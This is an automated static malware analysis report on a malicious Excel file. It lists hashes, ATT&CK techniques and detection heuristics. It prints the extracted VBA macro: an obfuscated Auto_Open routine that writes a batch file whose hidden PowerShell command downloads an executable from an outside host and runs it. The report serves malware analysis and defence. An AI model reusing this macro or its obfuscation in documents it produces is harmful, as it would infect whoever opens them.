Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7ef9898ec18572a0…

MALICIOUS

Office (OOXML)

13.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-21
MD5: 6e1dd06f07a43fb876bf59187fd881d2 SHA-1: efc2f26a8e6d159219514657e9b5a123e2329214 SHA-256: 7ef9898ec18572a07bc8d8945b85ba2935dc4e9457790852ee2994c515c8dbf4
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains a VBA macro with an Auto_Open subroutine that executes upon opening the document. This macro constructs a batch file named 'god.bat' in the public documents directory. The batch file contains a PowerShell command that downloads an executable named 'usnew.exe' from 'https://official01.my03.com/w/ConsoleApp5.exe' and then executes it.

Heuristics 4

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1243 bytes
SHA-256: 0262e2e9e982e041f87a610e837306789b820ffb65db30f8be22ce2be49bf1ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Private Sub auto_Open()
shareboard = "powers"
glassafter = "hell"
Set sixless = GetObject("new:0D43FE01-F093-11CF-8940-00A0C905422" & CInt(7.6))
specificday = "C:\Users\Public\Documents\god.bat"
Set sixless2 = sixless.CreateTextFile(specificday)
sixless2.WriteLine shareboard & glassafter & " -w hi sleep -Se 32;Start-BitsTransfer -Source htt`ps://official01.my03.com/w/ConsoleApp5.e`xe -Dest C:\Users\Public\Documents\usnew.e`xe;C:\Users\Public\Documents\usnew.e`xe"
sixless2.Close
GetObject("new:13709620-C279-11CE-A49E-44455354000" & CInt(0.3)).Open (specificday)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 16896 bytes
SHA-256: 1eee7d4633fe1005852bfb578b4f1d1a612d3cec45ccd94d2b49c393a5d591a8